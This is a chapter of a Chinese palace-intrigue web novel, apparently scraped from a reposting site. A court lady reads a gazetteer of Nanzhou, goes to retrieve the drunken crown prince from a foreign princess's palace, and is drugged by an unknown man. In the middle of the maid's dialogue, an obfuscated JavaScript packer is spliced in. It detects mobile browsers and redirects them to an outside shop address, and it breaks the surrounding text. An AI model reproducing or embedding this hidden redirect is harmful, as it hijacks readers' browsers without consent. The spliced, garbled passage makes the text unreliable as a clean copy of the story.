今夜宫宴,阖宫上下皆在,连禁闭的太子也得圣令出席。惟独任知宜,因为得罪了彦月公主,不得露面。 如此倒好,她倒也乐得清静。 她将昨日内侍省送来的书拿出来,灯烛燃燃,书的扉页上写着“南州志”三个字。 —— 前几日,她向内侍省索要《南州志》时,恰好被卫枢听到,他颇为惊讶,“怎地突然对南州感兴趣?” 任知宜笑笑,“南州素来是大胤的流放之地,朝野闻之色变,就是想了解一下真正的南州到底如何。” 卫枢淡淡道:“南州潮热濡湿,方仲被贬至南州任典史,承恩伯一家成了庶人,也跟着去了南州。近来听闻,刚到南州的第二日,承恩伯就去世了。” 之前秋猎,承恩伯次子因为私放狮子进入猎场被砍了头,全家被抄家,千里流放。 任知宜微微叹道:“其实南州并非大家所想象的荒蛮不堪,那里山水明秀,土质肥沃,瓜果繁盛。若是承恩伯能抛却心中的包袱,扎根于南州,未必不能过上平淡安康的生活。” “他生来显贵,自幼长于京城,或许是南州太远,远得让他看不到回来的希望。”卫枢道。 提起承恩伯一家,二人想起那日差点葬身狮口的情景,皆心有余悸。 “当时,孤去救懿靖郡主,其实是因为……” 任知宜笑道:“殿下不必向我解释,别说这是咱们定下的谋算,单说郡主性命攸关,我也不会阻拦。就算我要殿下解释,也绝不会是这件事。” 卫枢眸间似有所动,“那是哪件?” 任知宜笑着摇头,未作言语。 …… 烛火摇曳,冷风从窗缝里漏出来,发出噼里啪啦的声响。 望着跳动的烛火,任知宜放下书卷,回想起那日卫枢问她的话。 当时,她并未明说。 自己想问的是懿靖郡主手中那枚私印究竟是不是他亲手篆刻。 窗外,墨云蔽月,细雪飘飞。 她靠在窗棂上,目色微倦。 《南州志》中写着,“州东南临海,向南行数百里,为海之峡部,风急浪湍,水击数丈,渔舟尽覆,越此奇险之地,方平顺开阔。” 韩少初说,他们韩家找到出海的路,正是《南州志》中记载的这条路。书中写得还是不够详实,韩家先前已派人走过很多次,终于摸清了这一奇险之地的规律。 听他说完,她禁不住喟叹,日日周旋于这朝堂争斗之中,她都快要忘了,自己当年的理想是踏遍千山,万里行商。 一阵凉风吹过,“阿嚏!” 任知宜回过神来,望着乌压压的宫檐,心绪渐沉。 景相近来的动作大有破釜沉舟之势,云门镇的案子还没有眉目;更重要的,是她与郭嘉的约定。 郓国狼子野心,与大胤迟早要有一战,她留在卫枢身边,才能襄助郭嘉。 出海一事,不知要搁置到几时。 她怅然笑笑,顺手将《南州志》搁置于书架最里处。 不远处歌舞渐歇,灯火俱灭,万籁归于平静。 ———— 亥时,太子未归东宫。 内侍禀道:“宫宴后,太子被彦月公主请至宫中饮茶。” “这么晚去饮茶?”任知宜望向外面的天色,惊讶道。 她不放心地问道:“太子可有醉酒?” “似乎,是比平日多饮了几杯。” 任知宜心忖,这些时日太子被禁闭东宫,那些与东宫亲近的朝臣少不得要和他寒暄对饮,恐怕不是多饮几杯的问题。 “有什么人跟在殿下身边伺候?” “孙公公。” 任知宜略微放下心来,孙公公是宫中老人,有他在旁,料想不会出什么事。 一个时辰之后,听闻太子仍未归宫,任知宜不禁拧眉。 按理说,卫枢向来沉静自持,断不会出什么问题,不过他今夜醉酒,再加上一个彦月公主…… 想起彦月公主,任知宜不禁皱眉,这位公主性子娇纵,行事不遵常理。若是在这个时候与太子闹出什么事来…… 任知宜思量再三,终于定下心思,吩咐道: “拿那盏提花冰玉灯过来,我去接殿下回宫。” …… 彦月公主住在西侧的禧宁宫,与东宫一西一东,约摸半个时辰的脚程。 雪霁云散,惟烈风不止。 夜风像是从四面八方吹过来,吹得松枝摇摇晃晃,擦擦作响。 任知宜站在禧宁宫前,提起冰玉灯一照,照见门前站着一位宫女,似乎是彦月公主的贴身侍婢。 “本官是东宫女史任知宜,太子殿下可还在禧宁宫内?” “在里面。” “请给殿下传个话,叶大人有急信过来,烦请殿下尽快回东宫。” 侍婢进去通传,片刻之后出来。 “公主请女史入内。” 任知宜怔然。 沉默片刻,问道:“公主不是不愿意见我?” 侍婢笑道:“女史放心!公主看在太子殿下的份上,已不再生您的气。女史请吧!” 禧宁宫位于皇宫地势较高的西侧,占地不广,胜在天然,宫内假山林立,与原本的地貌相互交融,高低起伏,错落有致。 一路走来,任知宜察觉宫人不多,想来使团随行之人大多数宿在鸿胪寺内。 乌云渐散,钩月露出一角。 侍婢走在前方领路,笑道:“我们在应国,一年四季都见不到雪,没想到今日刚到京城,便赶上了今冬的初雪。” “你们可在京城多呆些时日,听说京城每年都会有场大雪,簌簌扬扬,如漫天鹅毛般飞落。”任知宜应道。 侍婢笑道:“我们做奴婢的,哪里做得了主。不过公主确实有意在大胤多呆一段时间,或许奴婢幸运,就能看到女史所说的雪景了。” 这小侍婢长着一张秀气的小圆脸,眉眼弯弯,说一口流利的大胤官话,不止长相讨喜,说话也伶俐。 “你是应国人吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314628|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>侍婢道:“我爹是应国人,我娘是大胤人。不过我自小长于应国,从未到过大胤。” “难怪听不出姑娘的口音!” “公主在来之前,专门请了夫子,教我们大胤的官话,和各地的风土人情。女史的家乡是哪儿?” 任知宜笑笑,“山南道灵州。” 侍婢点点头,“奴婢曾听公主提起过这个地方,说灵州山水秀丽,草木繁盛,是个宜人之地。” 二人说说笑笑,不知不觉进到内殿。 ———— 踏入内殿,沿廊而行,可闻烈烈风声穿堂而过。 悬挂于上的宫灯被吹得摇摇曳曳,落地的灯影跟着一晃一晃,明暗交错。 四面的窗棂紧闭,还是有窸窸窣窣的冷风窜进来。 禧宁宫景致绝佳,唯独有一点不好,因为地势高,若遇上刮北风的几日,风急夜冷。 任知宜回身望向那小侍婢,指着她身上的薄衫道:“你从应国来得匆忙,若是没带够衣衫,可以去东宫找我拿几件厚衣。” 侍婢微怔了一下,福身道谢。 宫室开阔空荡,与皇宫内其他殿宇相似,隔成内外两室。 侍婢剪去烛心,换了两个烛台。 任知宜踏步而入,抬眼望去,两道秋水屏风分立东西两侧,相隔甚远。 西侧烟气袅袅,向上盘旋而绕。透过屏风,依稀能看见桌案前的两道坐着的人影。 二人似乎在说话,因为隔得远,听不清楚说的是什么。 旁侧有人上前添茶,茶气氤氲而出,茶香四溢,带着几分清苦之味,与大胤的茶略有不同,兴许是彦月公主特意从应国带来的。 任知宜朝着西侧伏拜跪地,大声道:“臣女任知宜拜见太子殿下,拜见彦月公主。” 屏风后的人影听到她的声音,似有所动,缓缓地站起身来。 他朝着屏风走来,身姿挺拔,步履轻轻,屏风后露出一截黑色皂靴。 “啊……” 突然,任知宜的身后响起一声尖叫,凄惶惊惧,在寂静的夜空里分外悚然。 是那个小侍婢的声音! 任知宜下意识地回身去看,可是还未来得及回头,便被人从身后用一块儿白绢捂住了嘴。 “唔唔唔……” 整个人被拖拽着后仰,她双腿猛蹬,拼命呼喊,奈何嘴巴被捂得死紧,那双大手却宛如铁器一般,堵地发不出半点声音。 对方不知何时欺身到她的身后,来得悄无声息。 此人指节粗粝,虎口有茧,是一个会武功的男人。 是侍卫?还是刺客? 不过挣扎了三四息的时间,她手上力道渐失,身体越发绵软,头晕目眩,眼前的场景模糊成一个圆点。 渐渐地,任知宜彻底脱力,双手缓缓垂落下来。 对方松了手,扔掉白绢,朝着屏风后缓缓走去。 任知宜倒在地上,眼前全是晃动的虚影。 合掌紧握,尖利的指甲深深地掐入掌中,疼痛的刺激令她灵台恢复片刻清明。 男子的身影,身高七尺有余。 仅这一眼,她便无力支撑,陷入一片黑暗的混沌。